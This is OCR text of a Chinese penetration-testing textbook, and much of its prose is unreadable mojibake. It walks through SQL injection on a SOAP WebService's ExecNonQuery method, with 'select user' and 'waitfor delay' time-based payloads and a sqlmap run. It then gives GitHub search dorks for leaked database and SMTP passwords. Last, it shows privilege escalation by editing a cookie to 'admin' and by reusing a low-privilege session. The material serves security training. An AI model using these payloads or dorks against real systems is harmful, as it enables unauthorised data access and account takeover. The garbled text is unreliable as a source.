application/json.

(2) %37 callbackpfi % 44 5, WIRAL A callbackZHUEAE A4 BN, BEEE RIS
B R ENTRR R o

(3) XfcallbackZHUHATHTML SLAR gm bl SRk e fc<” «“>» 25 7R,

13.6 WebServiceill iz

13.6.1 IR S 2 A 7 vk

WebService/e —FPEg g e e 5 MEEERIE R S0T G MIZFE A ER . XML+XSD,
SOAP (Simple Object Access Protocol) FIWSDL (Web Services Description Language) il
SR WebService V- & 1 = KEAR, HAHXML+XSDAIRIHIAR . Rk B AL 1 ER ;
SOAPE M T2 # XMLIw {5 B AR B R, — M AXMLEGE XSDIF y#iis, i
HTTP UK IETE KA S R, SOAP M S FEHTTP P 1) Al b 38 i — Lok € 1)
HTTPH B 2k; WSDLsZ—3& T XMLII ] T-#iidWeb Service S H ek %, Z ik bl {E

1El|:|o

Bk IR AR, BRATAT LLANIE WebService Bt f& — NN FH AL FE 1A A AL 8 BE H— N B iE
I Web#t AT IAPL. X ANAPIHEWH P NS, AR RIR BRI EIR N A . iR
—/MWebService5E & EALH P I, AHATEIE, WA AT EE S 2 SQLIFE NIRIF K & A4 .

13.6.2 It F2

WE13-34F 7, B E AT, @ QR B H S E R B RS 251
WebServicef# %, ##E 4 FHIWVS (Web Vulnerability Scanner) [{JWeb Services EditorZfié
SNSAEO R, @i (WGet. Exec) EALFIAICHIEE K%, @BiTHTTP
Editorxf & —M% H R B A S ERHATINR (nSQLIEAN . 30 BAESE) , dniR I
HIROR CUneds FEAR e . ARIZER 55D, MIAEEIRT .



BEE

HBIRSTE M

=
e
¥ Webservicef[aE
#

k 4
# EHwesweb
Services Editor5
AWebServiceff]

SR
* W T —1EA
— L 4 #
WHRBHTTP Editor, i ggﬁ%ﬁﬁgg
WmAZH RS R - PATWHL . 0
20, BEEIER Gt » Exec T3kl

ZwWebServiceERH
fririmE

ZwWebserviceTFIE R
H

]13-34 WebService i i f2 ]
WIR—: AR SZ I WebServicelf)5EH:, fEWebService/5 1 L“? wsdl”, IR%#%
{4 iR [MIWSDLH# A s 815 5, 4n&13-35177
IR WK 13-36f~, HHWVS (Web  Vulnerability — Scanner) , H.i/cilif
f]“Web Services Editor”.

7£ Operationi& Wi 41 41, 7 LLE #|WebServicei® X 2 Nk %, E&FEHH—1,
WVSTES R TR EMANSEE . EIEFINE, AV EIER L] e R
BRI AL, PoineR 34 LLGetd TSk 1, — Mo B R IR [al —24/5 s Eiin DAExecT Tk
(1), —Me BEEPATSQLIBMEE R E e 4. WE13-37r, X HEIEHEMZ
ExecNonQuery BB, MERELZ T UEH, XMNIZEHRPATIEEMEA O, Hhs
W= M2 NsqliIZ 8, M E, XANSENIZH KR E ZEHATHISQLIES] .



/Service/ComService.qvc?wsdl

This XML file does not appear to have any style information associated withit. The document tree is shown be

v <wsdl:definitions xmlns:wsdl="http://schemas. smlsoap. org/wsdl/" =mlns:wsx="http://schemas.xmlsoap.org/ws/2004/09/mex" xmlns:wsal
xnlns:soapl 2="http: // schemas. xmlsoap. org/wsdl/soapl 2/" xmlns:wsu="http://docs. oasis—open org/wss/2004/01/ oasis-200401-wss-wssecy
xmlns swsp="http://schemas. xmlsoap. org/ws/2004/09/policy” smlns:wsap="http://schemas.xmlsoap. org/ws/2004/08/ addressing/policy” xm
xmlns:wsa="http://schemas. xml soap. org/ws/2004/08/ addressing” smlns: wsam="http:/ Swww. w3, org/ 2007/06/ addressing/met adata” xmlns:ws
xmlns:soap="http: // schemas. xmlsoap. org/wsdl/soap/” smlns:xsd="http: //www. w3. org/2001/¥MLSchema” xmlns:soapenc="http://schemas. xm]
targetNamespace="http://tempuri.org/" >

<wsdl:import namespace="" locatior="http:/ /Service/ConService. svc?wsdl=wsdl0"/>
<wsdl:types/>
v <wsdl:binding name="BasicHttpBinding ComService” type="ComService">
<soap:binding transport="http://schemas.xmlsoap. org/soap/http“/>
v <wsdl :operation name="RollbackCommitSP03" >
{sozp:operation soaphctior="um:ComService/RollbackCommit SP03” style="document”/>
v <wsdl:irput>
<soap:body use="literal”/>
</wsdl: input>
v <{ysdl:output>
<{soap:body use="literal”/>
<fwsdl: output >
</wsdl: operation>
v {wsdl :operation name="GetDBFieldIDs">

K13-35 3k H{WebService# 1%

[ONewSean |[B@ @ P EGBR: SRS BF |3 D E

A e SeveeKanservee v | El Import
Web Vulnerabilty Seanner ) 5
E& Web samZ Editor | WSDL Structure WSDL 2. i\ webservicetfwsdliHthit
3. SFKImport
‘;”f‘;m —— Service: | P Comservce | Porti[F] Basirittpinding_Comse | Operation: {3} RolbackCommitsPo3 v Wsend [FHrPedtr
g Target Finder Request SO&PI
++-1E Subdoman Scanner e . . oep e " 7- -
H ;lJ Bind SQL Injector 'http://schemas.datacontract.org/2004/07/ .Model.LsPublic” xmlns:urn7= -‘
[ = prva "htip://schemas.datacontract.org/2004/07/Longshine . Model.PK" xmlns:urné="http://schemas.datacontract.org/2004/07/Longshine. Model">
HITP Sniffer 2 <SOAB-ENV:Header/>
i ? HTTP Fuzzen | (53 z_%‘ E <SOAP-ENV:Body>
L) Authent Tester o= <RollbackCommitSPO3>
7 CompgreResuits 5 <tableName>${alpharand}</tableName> L
E-E Web, 6 <primarykey>1</primarykey> r
7 <TemplateBMO000>1</TemplateBMO000>
8 <3ignIDs>1</signIDs>
o 9 </RollbackCommitSFO3>
|8 Application Settings 10 </SORP-ENV:Bodvs [E]

K|13-36 1§ FHWVSH & WebService

WSDL URL: |nttp:// Service/ComService svcowsd v & B import
Editor | WSDL Structre WSDL
Service: | P ComService | Port: [17] BasicHittpBinding_ComSe v | opaaﬁul:\ % ExeclonQuery 1\ N send [ HTTP Editor
Request SOAP |

4| I<SORP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/” xmlns:soap="http://schemas.xmls
xmlns:xsd="http://www.w3,.0rg/1999/XMLSchema™ xmlns:xsi="http://www.w3.0rg/1999/XMLSchema-instance” xmlns:m0="h
xmlns:SOAE-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm ="http://tempuri.crg/" xmlns:urn2=
"http://schemas.microsoft.com/2003/10/5erialization/" xmins:
xmlns:urn4="http://schemas.microsoft.com/2003/10/Serial.
"http://schemas.datacontract.org/2004/07/Longs: .Model.QueryPart" xmlns:
"htip://schemas.datacontract.org/2004 /Longshine.Model.LsPublic" xmlns

.org/wsdl/soap/" -
://tempuri.org/"

1.DEStruct"

1. HEENHEIRE

"http://schemas.datacontract.org/2004 /Longshine.Model.PX" xmins:urn8="http://schemas.datacontract.org/2004/07/Longshine.Model">
<SOAP-ENV:Header/>
» EVErSS
% AT-ERVIHody 2. SOAPHWYIERRIERE
E <ExecNonQuery>

ey 3. HAZE
r </ExecNonQuery>
[ </SORP-ENV:Body>

“</SOAP-ENV:Envelope> b

F13-37 & F ExecNonQuery B8 £ 1 S 50401

HIR=. E13-38f, HAFCHTTP  Editor V) ¥ BHTTPIE R AL, FRA1A] LLA %
SOAPIEK, LR HWE K 5 A w3 .

@~ W




';%‘SEW““' | Bstart | B EncoderTool [<1>]
Web Vuinerabilty Scanner —
{8 Web Scarmer Reques{ TETON | | efmmmm— 1. #Text Only, ﬂ]‘;i;\]ﬂﬁyﬁﬁ—t
& Tooks Look for: | | & % | B ||prain text
I ﬁi‘: C;‘:‘; 1POST hrep:// /Service/ComService.sve HITP/1.0 -
& Sdfl i Scanner 2SOAPAction: "urn:ComService/ExecNonQuery™
... 3 Bind SOL Inector iccn:em: Type: text/xml
[53 HTTP Editor
TR TP Sniffer 5 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmins:soap="http://schemas.xmlsoap.org/wsdl/soap/”
14| HITTP Fuzzer xmlns:xsd="http://www.w3.org/1998/XMLSchema" xmlns:xsi="http://www.w3.org/1999/¥MLSchema-instance™ xmlns:m0="http://tempuri.org/"
(& Authentication Tester xmlns:SORP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/"
T Compare Results xmlns:urn?="http://schemas.microsoft.com/2003/10/Serialization/"
E-ED Web Services xmlns:urn3="hctp://schemas.datacontract.org/2004/07/Longshine . Model . DBStruce" 3
L& Web Services Scanner xmlns:urnd="http://schemas.microsoft.com/2003/10/Serialization/hrrays” T
-4 Web Services Editor xmins:urnS="http://schemas.datacontract.org/2004/07/Longshine . Model .QueryPart”
= Configuration xmlns:urné="http://schemas.datacontract.org/2004/07/Longshine . Model.LsPublic”
8 Applcation Settings xmlns:urn7="hctp://schemas.datacontract.org/2004/07/Longshine . Model . PX" xmlns:urn8="hctp://schemas.datacontract.org/2004/07/Longshine . Model >
;4] Sean Settings 6 <SOAP-ENV:Header/>
e éﬂ 5“""""9 Profles. 7 <SOAP-ENV:Bady>
=-E General
8 HonOuerys S -
[ Prowan odates 9 <sgl>lc/sgl> . TILEIREHEHE, N ERESETET R
3] Version Informati !
; L::“’" mation 10 <ExecNonguerys i&itResponse DataEi#t{TER
&) Suwport Center 1 </SORP-ENV:Body>
) Purchase |12.</s0AP-ENV:Envelape>. =

K]13-38 HLi“HTTP Editor” V] #: Z|HTTPIF 3k
wnE13-39fT 7~ , FAMELsqQIZBIE N1, EHWR N

|

e © 0| |k G| @|[panex -

B start | B Encoder Tool [€)
Request T:x‘koriyl

.mln: SOAP-ENC="http://schemas.xmlsocap.org/soap/enceding/" xmlns:urn="http://tempuri.org/"
ixmlns:urn2="htop://schemas.microsoft.com/2003/10/Serializacion/"
ixmlns:urn3="http://schemas.datacontract.org/2004/07/Longshine.Model.DBEStruct™
xmlins:urn4="http://schemas.microsoft.com/2003/10/5erialization/Arrays”
‘xmlns:urnS="http://schemas.datacontract.org/2004/07/Longshine.Model . QueryPart”
lxmlns:urné="http://schemas.datacontract.org/2004/07/Longshine . Model .LsPublic”
Jxmlns;urn7="http://schemas.datacontract.org/2004/07/Longshine.Model . PX" xmlns:urn8="http://schemas.datacontract.org/2004/07/Longshine .Model">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>

6

7

8 <ExecNon0

9 1. B¥sqldEH 1, EEETEEH(
10 </ExscNonQue:

11 </SOAP-ENV:Body>

NIRRT v SQL Serverdiif B

. B EESaiClentaT

Response Headers Response Data uewvage]usssmuemalm

HE €0RE B0 TRTRGANEETer ” Mot ik coRiB B0 BIET
E#REET €0 at Systen Data qlCnnnectwn. OnError(SqlException exception, Boolean breakConnection) at

System. Data. SqlClient. TdsParser. THITR ptionAndWarning() at System Data. SqlClient. TdsParser.Run(RunBehavior runBehavior, SqlCommand
cmdHandler, SqlDataReader dat aStrenm, BulkCopySimpleResul tSet bulkCopyHandler, TdsParserStateObject statelbj) at

System. Data. SqlClient. SqlCommand. RunExecuteNonQueryTds (String methodName, Boolean async) at

System. Data. SqlClient. SqlCommand. Internal ExecuteNonQuery (DbAsyncResult result, String methodName, Boolean sendToPipe) at

System. Data. 8qlClient. SqlCommand. ExecuteNonQuery () at Microsoft.Practices. Enterpriselibrary. Data. Database. DoExecuteNonQuery (DbCommand command)
at Microsoft. Practices. Enterpriselibrary. Data, Database. ExecuteNonQuery (DbCommand command) at

Microsoft. Practices. Enterpriselibrary. Data. Database. ExecuteNonQuery (CommandType commandType, String commandText) at

V9Web. Service, ComServi ce. ExecNonQuery (String sql) at SyncInvokeExecNonQuery(Object , Object[] , Object[] ) at

System. Servicelodel. Dispatcher. SynclethodInvoker. Invoke (Object instarnce, Object[] i:\'lputs, Object[1& outputs) at

a:InternalServiceFault’ 1’ S

K13-39 & sql =L
WE13-40T7R, S5 ERCE T IHSCR{E S, System.Data.SqlClient.SqlConnection

#& NET Framework %82 SQL Server 2R, HH AT 05 v 2040 2248 FH 12 SQL Server#{
P

SR NE13-4157R, {8 T RS, A TAT URE A B AR AR A2

SQLEA) L MR E N SHE BAFAESQLIE NI - X B E A H selectif £ 25 & 1) 25 I SQLIE
H],  Ha [B] 0 B Afalse



B Microsoft per Networl

. . K. ME .

* > .NET Framework SDK 2.0 > Class Library Reference > System.Data.SqlClient ~

By THEHEHEE , FEBSHTER. EFATRRE

» SglClientPermissionAttribute
I

SqlConnection &

.NET Framework 2.0 @ EfibifF «

» SglCommand 2

» SglCommandBuilder 3

|$$ SQL Server FUEEAT—IFANER. TEBRIvE,

v SglConnection &

GG st M #&=A):System.Data.SqlClient
R 2R System.Data ( 7= system.data.dll &= )

Kl13-40 i 7515 B

= Start @ Encoder Tool

Request TextOnlyI
Look for: @ | i ‘ R g | Plain text v

xmlns:urn4="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:urn5="http://schemas.datacontract.org/2004/07/Longshine.Model.QueryPart”
xmlns:urné="http://schemas.datacontract.org/2004/07/Longshine.Model.LsPublic”
xmlns:urn7="http://schemas.datacontract.org/2004/07/Longshine .Model.PX" xmlns:urn8="http://sqg
6 <SOLP-ENV:Header/>
7 <SORP-ENV:Body>
8 <ExecNapQuerys
9

<sgl>select uaerl:/sql:

10 </ ExecNoTTYUeETY
11 < /SNAP_FNV - Rndus

Response Headers Response Data View Page |RSS Structure Analysis

F13-41 3t E A v 15 )

MRS BRI, NAZAE R 2R ISQLIE A, 38 Ik 35 [a] i I g Bs) 1] 1) g SR i A A&
Bl LEEHATSQLIER] . X E AT 2SQL Server, MNiZffHISQL Serverft 2Lt iEH], Fr
DL “waitfor delay'0: 0: 3™, XH'0: 0: 3YCE3IFP. wE13-42077~, WVSEIRHIES A
[E]R% K F-3000 ms, 5 SQLIEFJIERT (I (o] — £, AR o



Request Taxtl}lvl
Look for: ©0|a| k|| |[Pantet

_Eunlns :urn7="htcp://schemas.datacontract.org/2004/07/Longshine .Model.PX" xmlns:urn8="http://schemas.datacontract.org/2004/07/Longshine.Model”> 2
<SOAP-ENV:Header/>
<SORP-ENV:Body>

<ExecNonQuery>
<sql>waitfor delay '0:0:3'{/54;1}]
</ExecNonQuery. 7l

11 </SORP-ENV:Body> =
. =
12 </SOAP-ENV:Envelope>
13 ==

Response Headers Response Data View Page |RSS Structure Analysis

false

|06. 19 16:28.44, Duration: 218 ms i
106,19 16:30.51, Duration: 1716 ms

|06.19 16:31.02, Duration: 687 ms

106.19 16:31.17, Duration: 687 ms

106.19 16:44.26, Duration: 577 ms

106. 19 16:45. 10, Duration: 218 ms

06.19 17:24.35, Duration: 3229 ms

1342 FERFE A3
unE13-43f77~, SERS5FP“waitfor delay'0: 0: 5.

‘_;.mlns turn7="http://schemas.datacontract.org/2004/07/Longshine.Model.PX" xmlns:urn8="http://schemas.datacontract.org/2004/07/Longshine.Model™> =«
6 <SORP-ENV:Headex/>
) <SORP-ENV:Body>
E Quexry
I <sql>waitfor delay '0:0:3f</sq1> I
</ExecNonQuery>
</SORP-ENV:Body>
12</SOAP-ENV:Envelope>

PR |

kel

Response Headers Response Data View Page | RSS Structure Analysis

false

| Activity Window [

06. 19 16:30.51, Duration: 1716 ms
06. 19 16:31.02, Duration: 687 ms.
06. 19 16:31.17, Duration: 687 ms
06. 19 16:44.26, Duration: 577 ms.
06. 19 16:45. 10, Duration: 218 ms
06.19 17:24.35, Duration: 3229 ms -
06.19 17:25.47, Duration: 5382ms |

£113-43 ST FEASFD
SRR TR ASERERE SQL AN —2, A Wireshark {3 Burp
Suite’¥f WebService I TE RN TR, ORAF BN SCASCAF . 78 TFZ MK A S HE bR n 2
e 1N 13-44F78



) test.txt - 0B l = L= —E&-l

XHF) | REE) B0 EE(V) EEH)

POST /Service/ComService. sve HITP/1.0
SOAPAction: “urn:ComService/ExecNonQuery”
Content-Type: text/xml

Content-Length: 1034

Host:

{SOAP-ENV :Envelope xmlns:SOAP-ENV="http://schemas. xmlsoap. org/soa
{SOAP-ENV:Header />
{SOAP-ENV:Body>

FxecNonQuery

<sql>*</sql> |
{/Bxechionl V.
{/SOAP-ENV:Body
<{/SOAP-ENV :Envelope>

F13-44 LRAFE R 2 S
SR J5 8 it sqlmap X S A TR R AT, sqlmapXe N 1) BAR S H & -r, W& 13-45F1 &
13-46f1715

{1.0.11.18#dev}

//sqlmap.org
: Usage of sqlmap for acking targets wi it prior mutual consent is illegal
sponsibility to o all applicable 1, state and ral laws. Develop

iability and are not responsible for any misus r damage caused by this program

[*] starting at 18:11:39

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] Y

he HTTP res

WARNING] it is wve tant to not ress the netwo conne

do you want sqlmap to try to optim value(s) for DBMS delay responses (option '--time-sec'

P13-46 N IRIFRAAAE
13.6.3 125 13

(1) JyWebServiceiim & B IAIE, INIERTJE A SCVFDT AT .



(2) WebService F U A S EUNI RS, A 5 i B fay AN S Bt AT I 98 2 g4k,
FEALER R A N o
(3) TERURIIBERT R, WRINE RS VGIE, VRS A SCVFE T BUR DI RE R R 2L






147 K522 4 R o
14.1 K5 22 4 H 9

BEE S PO R R, LT MR EZ NN A, fHEE-mail. IMEPRHIR T A
(QQ. MSN) . MRS BBSIBIn. MR SRS HBTES MR, Fitg
PR INIE 2 2845 8 22 A IR AR B . P 28 Il 25 i ot B 3 UGE 55 7 [l 3 il (1 7 SO0 ik v
M PR TIRA. HPE e (K-S 5% B8RS SREERP, HAE
o GO IAERI P A REV R YR . K5 5B o M 4 N I ANE] D —3 g, S5k
) i UK 5 R 20 T T 0 174 22 4 1] SRk 22

Bian, 2011453 M5t 6005 FH 7 BRI ATF R #8, 1 HAE 2D 1) 75 08 /& B 5.
AR, 20155 iRzt #22300 75 H P (S B, tEERI2300 75 FH P B GHEH P 4 . MR
Fi N JE RS . 20154F10H , FEIRIRR S P 6 B8] — i S i % ) 25 5 KA HTR
T Z IR s Bk P 5 Bt B, e B B, MERE R AR 4. &
i, HEEREL. BRIPXHAPAEHEE.

BN BT K S 2 e H a8 i, AR RSEEOCT K-S 2 A R
MR . B, 3504, FNEE. gRkTed. S\, Mg, (580
Fay PN, A RKEETT LG DONS, AR E I A

14.2 K5 22 4 4 ¢ = 45

14.1.1 K5 5500 B P F= 7E B |

GitHub& — M A ARG R 48, JT K #E 7] LUEE GitHub FAZETH S . AN
HTHRENZERmIRA L, it AT EURGEE, SRRk 5 %M. B9 ER
BLEFELE. EHRMEN. &0 0. EEHEREE,

BRI E REERESRPUREE, HRIEEWT.

(1) WRfRCEAS S &) site: Github.com smtp password;

(2) Bl (s BMtEE: site: Github.com sa password;

(3) svnfg Btz : site: Github.com svn;

(4) Ha &4y 0. site: Github.com inurl: sql.

14.2.1.1 KAl 30 e i 45 5 itk

PR FIH SRR G B R PURC, R ITEE N site:  github.com
password”, ] L EFEAEGitHubMuh FHR B E(E S . WE14-187R, 7T LERTE A
iR FERERE S



include: swagger
devtools:
restart:
enabled: true
livereload:
enabled: false # we use gulp + BrowserSync for livereload
jackson:
serialization.indent_output: true
datasource:
type: com.zaxxer.hikari.HikariDataSource
url: jdbc:mysql:/ :3386/blogl?useUnicode=true&characterEncoding=utf8&useSsL=False
username: root
password: 123456
hikari:
data-source-properties:
cachePrepStmts: true
prepStmtCacheSize: 25@
prepStmtCacheSqlLimit: 2048

useServerPrepStmts: true

Kl 14-1 208 R B S B

DR B I B R g S e A, RS R EAA T EE, Wik 14-2
B o

- B B @ @ B o

&2y = =ifl 20 ==

Cais Datrs Eaas ks BEoans Bstns
cms_allclassstate
¥ cms_article
cms_articleclass

™ cms_focusmap

™ cms_focusmapclass
[ cms_language

2 cms_links

I cms_linksclass

™ cms_loglog

[ cms_menu

™ cms_message

[ cms_messageclass
[ cms_product
cms_productclass
™ cms_sql

Eem s_system

I cms_type

H|
E cms_users

F14-2 B & s Bds
14.2.1.2 F2E 2 BET 4 L 15 Bt
WIR—: EIGIHub BB E ) m i —NFEIE , wE14-3Fn, R A —0 3
LS — AN IS B



TATTCIST TESPUNSE DAsEs¥ [ (TUE[TalsSE] aISE

< |ELEMENT comment (#PCDATA)>

1>
<items burpVersion="1.5.81" exportTime="Sun Mar @9 18:48:11 CST 20814">
<item>
<time>Sun Mar @9 18:4A°32 (ST 2814</time>
<url><![CDATA[http:/ 1></url>
<host ip= -3 </host>
<port>88</port>

<protocol>http</protocol>
<method>GET</method>
<path><![CDATA[/phones/ViewInfo.aspx?RoleNo=@1@1&page=1]]></path>

<extension>aspx</extension>

<status>28@</status>
<responselength>48161</responselength>
<mimetype>HTML</mimetype>

< request base64="true"><![COATA[RBVUICOwaGIuZXMvVmll JYXNneDQszxleBQ.'»‘.DEM»‘SZn\fn‘d1PTEgSFRUUCSx_]'ENCkhvcﬁQéIGVchSB\QuuYzQ

<response baseb4="true"><![CDATA[SFRUUCBxLFEgMIFAWIEILDQp 2aW9u0iBibG9zZQBKRGFOZTogU3VuL CAWOSBNYXIgMjAXNCAXMDOBN] 0zOSBHTV!

K14-3 Wb fid B1E S

IR iEidbase64fif %, KIE—AHTTPIERM, I HAE CookiesfH. HiERE

I Sl 2 A R AT S RN AR S, WK 14-4P7R

- I3 P g |
B ) g EE:
N s, A
CRE g — &1

B ) S

5 0 s D gt

B ) s

- R 3 55 E= 13 TR
B L) 7

B By

= L) g e O | 1 |[wieE B iz i 0
ity - 10:36:49

K14-4 FIHEIRB G X E 6
W= WE14-5FTR~, TEIZRGTUHFEZEWVETEZRTER.
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%I NO WDE = em = paz ElEE  wa com

[We  Nowpe TTORE PREEE DIWEE gm ma i

MR NOWIDE Biropie Kammes BiMGeE e fivi i

‘ ® _m HRNKAZE Y

s NO DE UrumiE KAEMEs HINEE om - i

’%‘AiT‘@EiE %’-\EEEU ’%E?Ncl;%}_éﬁ ’—
R pes =m =R NKAZ EEE ye W corice.com
¥ BGEE KAZIEH) BifisRE  obl JiHEe
flrose D mme Micie End)
y ] = KAEER =t KA O
P WIGERIE KAEES ERE z@
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3 WEIE FoTKARE El =@
i BEEE  FBNKAE T
g 135 PIURE ammy sl jiac com

e BB
HEE - WH:RE Foral )
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xul com
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F14-5 P4 E0E

14.1.2 LR H & RAEEK S

HT &K NZ 2P FRSZEAF, FEIGEHE T UA R RRSOE &R R, 5L
HERACENERH P, @SS HIDEFERIKS .
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{"data":{"academyName":"I2¥Fz", "gender":1,"grade":14, "professionAnd
Grade":"BX[R
2014%Rk","progress":70, "realName":"¥ " "schoolName™:" - F
BE"), "status "1}

E16-12 kA7 2 F studentld N 18875011 FH F {5 .
W= Bstudentld y138850, $EAL 5 HRSS-#%IR [Bl 1 HAR A (5 B anE16-13F7

POST / .action HTTP/1.1 A HTTP/1.1 200 OK
Cookie: 3 Date: Tue, 13 Jun 2017 03:38:06 GMT
JSESSIONID=0A70DE12B8D1DD2142D8BC2B413586B5-memcached1 Content-Type: application/json;charset=utf-8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 181
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; Redmi Note 3 Connection: keep-alive
MIUI/V8.2.1.0.MHOCNDL) Status: 360
Host: Access-Control-Allow-Origin: *
Connection: Keep-Alive Access-Control-Allow-Methods: POST GET
Accept-Encoding: gzip Access-Control-Allow-Credentials: true
Content-Length: 99 Set-Cookie:
, SERVERID=9217963584572a0b5dfb2a5a7565ba75|1497325086(1497
platform=18&versionNumber=8.1.0&phoneMode|=&studentld=138850 325086;Path=/
60&channel=&phoneVersion=23&phoneBrand=&
{"data":{"academyName":"ZFFz", "gender":1,"grade ":14, "professionA
ndGrade":"Z57FE
20145%","progress":70,"realName™" = [ll","schoolName™" = F"."
status":1}

E16-13 kA% 2 F studentId 413885011 FH F {5 .
16.2 2 [m] AL

16.2.1 K700 22 G038 F P BUIR BRI+ R LR

R 5545 5 7 i Y A il e R S, 2R S5 BAFECE Cookierf,
HRIEE % P A7 G o Iﬁ(ﬁi%Lﬂ%‘iﬂéE&CookleﬂPﬂ‘J%% PR O, T R 55 A )
o B OIRLRR , A5 B Y, W& 16-147 .

HIA RGAAEY AU, 8118 2 Cookie i ELHEAE T8 H AL IR A R
IE 38



-—
R A REH
Bl 45 PR A
BREa BREA
ViR R R R DS R R B e ##Cookie

!

it

e 2T
ERRRR

AEGESH
EBRRR

HNER R RRER BNEHGRRELR

K116-14 YN BALLRE K]
IR AAHREEAUR K Ta02 8 KM ARG, INE 55U A b
http: //host/aaa/bbb/editUser.asp? iD=2, ZifMEHAIR

FH 8 P AV MAS SR BR A R, R 482 Bk Bl INoPower T [HI $2 75 FH P T VE AL
MR, tnE16-157R.

BiSiE) | 'S 360%L230EME || 3B Google Chrome ) AB®I

b

SRS RS EA MR

K116-15 a02 FH 7 %A BLPR U Al i AR
IR . ffiBurp Suitef&{Cookie™ ff)TnameZ £ Nadmin, %k 55 2% %G K N £
GEM K, IR Ta02 8 RS E AR, nE16-16F77s.



POST .asp HITP/1.1 4 | HITP/1.1 200 OK
Host: . com Cache=Control: private
User-Agent: Nozilla/5.0 (Macintosh: Intel Nac 0S X 10_11_5) AppleWebKit/601.6.17 Content=Type: text/html
KHTHL, 1ike Gecko) Version/9.1.1 Safari/601.6.17 Vary: Accept-Encoding
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,#/%.q=0.8 Server: Microsoft-11S/7.5
Accept-Language: en-us X-Powered-By: ASP.NET
Accept-Encoding: gzip, deflate BbsR P2 % admin Date: Thu, 08 Jun 2017 10:17:47 GNT
Content=Type: application/x=www=-form-urlencoded Content-Length: 651
Content-Length: 89
Referer: http:// ser, asp?iD=2 J
Cookie: ASPSESSIONIDQQQBRRBR=0COFPKEALATAFDCCJKBFANPE; filelength=10; link rel="stylesheet” type="text/css” href="..
nowxueqi =2016%2D20 1 TAD INATNCANEANBGNCENBONDANBONFEND INATVCENDA: Tname=admin; | media="all"/
imgdir=014Zku- varset=ahcdefehi iklmonrstvex p align="center " &nbsp: </p
tiangi= dgeth2F indexh2Ehtnh3F sh3D3N2624 p align="center >&nbsp; </p
324261 000%26q%3D1%26e%3D1%26a%3D1426¢ p align="center”
%3D5451 div align="center” title="i#l (i Lit”
DNT: 1 {span style="BACKGROUND: #EEEEFF COLOR:#FF6633; o
X-Forwarded-For: 8.8.8.8 TrrenT t-weight :bold;padding:8px;width=140")
Connection: keep-alive ;_.d B AE 3N < f span
Upgrade=-Insecure-Requests: 1 I div
Ip
1d=2&Tno=a02&Tna wrderu'ow#l’\ﬂSMCD\BJ\BQ\DC\CO\ZD&imdiFOO{Hms p align="center">{span class="STYLE1"
, input name="button” type® button” class='1-:»;*
EET value=" X" /
L L

¥116-16 #$a02/H /" Cookie ! ¥ TnamefZ 25 yadmin
ABR= FRK VT A RAZ Mimodifyuser U [Hihttp:  //host/aaa/bbb/editUser.asp? iD=2,
W E16-17 Ffr7 Al D i 1A o

O r.asp?iD=2

.

MAA:  a02

IRERTY) >

ga: .
PRiA:  RREWIE v

TIARRET )

F16-17 a020K 5 AR FE T Bl 2h

16.2.2 o =2 Pk B 6 FOBUN IR B K 5

Wk 3o M e e 5% i e 2 50 0 P R Bk AR S AR, R B B ik ELARE N 5 U
IRt . 485 FF Cookiedt Ja I @ M ASB, BARASBAREEIEEBHNA CM
PR, (HASBAI AR EABSON J7 IR, R B A A AR BB SR AZ 5O 22 SOBURR
HULB B M ERIGE, BALIIE PR E B SRR, a1E16-18f7x.



-~
mfﬁ#w

ﬁulﬂFaﬂiﬁﬁl

gxEa

l

e EMEBA B

HEFEEH
EHRRMR

22 FBIR

Zexaci REERAR
Hfam PRR bR

F]16-18 YA m) AL FE K
SRRk PR S S AR BRI, ] DU N PR K
W UFMER I, R ES, WE16-19fTR.

R test B see 0 2=

K116-19 B ihiE A S
PiiF] http: //www.xxx.com/WEB/ABC/addUser.aspx 1] EL¥E4T JFA I 7 50 , &
16-20F17~ -




——@ FISFAFPER e———
BrRE: test *
0 test *
=S 123456 *
FEST: | v] -

UK S test, 2545123456, USR] IR B E TUES, nE16-2107758.

P16-20 ARIZAL s B 1 H P A

Mt EERE

A test 6 sessee 42 0 2iE=s E
KI16-21 { BT N P & % R 5
AR BRAIE, RoRRASICE IR, REammR I E R RS, aE16-

22078




TAR  (FETELEEEINR  ERESENSEIIR |

[== ]

K16-22 test FH %A #5823 4 FEALRR
{H I 2542 B — > Cookie, HNE16-23f7~ o

% € ) )= Ema HTML css BE DOM  [E58 { Cookies v
| Cookies - % « BUA (MEETH cookie) +

= ASP.NET_SessionId i3ui2hl Sq0we 12s2nhpcleup

mE

33xiZh]5qglwel2=s2nhpeleup

Kl16-23 A FtestH /7 ) Cookie

IR = {#f]iZCookielj[ihttp: //www.xxx.com/WEB/ABC/userList.aspx, ] E.{%F]
FEA BRI DT . Horrtest P A BRIE I E SRR, H] DB SOLAH A AR . 7
WI0— 8T Preest2, W3 AT LLUEAHES AR, W1&16-241 75



BAPE BESI] R RE 313

files
e
filpR
e
e
i[5
B
filps

FPPEPLPLP P LF

K116-24 Hri 55— H P test2
IR A F testllk 515 X test2 K 5 AL FR /& AL FR,, W 16-25F17R .

- [EER]
#E BRE
test2 test2
- [EEREN]

Wz

< Ul g Teme
v o sfiER
v v REGEE
A = |
v & pRinE
< 8 e
¥\ I

<R Y B
EEIEY ES
Y HEEE Y EE
o SERIR Y BE
< EEE Y &S
< SRpE Y ES
YIFEE Y ES
o B, TR

F116-25 & HMitest2 FH F N B 53 BLFR
WL A Htest2lk 5 EH BTG, WIHEANEHES, WE16-26/TR.

WM W W W W W W

3

A AR AR R RE"




& &m

FREESR] B B B
- ] e g
- Q fiie g
- ¥ His g
- { e g
- ¥ i V4
— (2} nep .4

K16-26 test2 ] P IV E R EH A A &

16.2.3 S AEAL TG (IR FR A~ T OB SSOBE 40 2E DA RE LA R

Wil DS E B S SR 6, AR B IRAAE B SRR EE T K
HAUE SO ZE BRI BEE, WE16-27 7R

[ 1
-—

BihE

gxREA

HlEr 2R WEEHR
E 1P &R ER mER#MERm
Hackbarif =POSTH K

EZerER
TR

F16-27 Y\ ) B A2
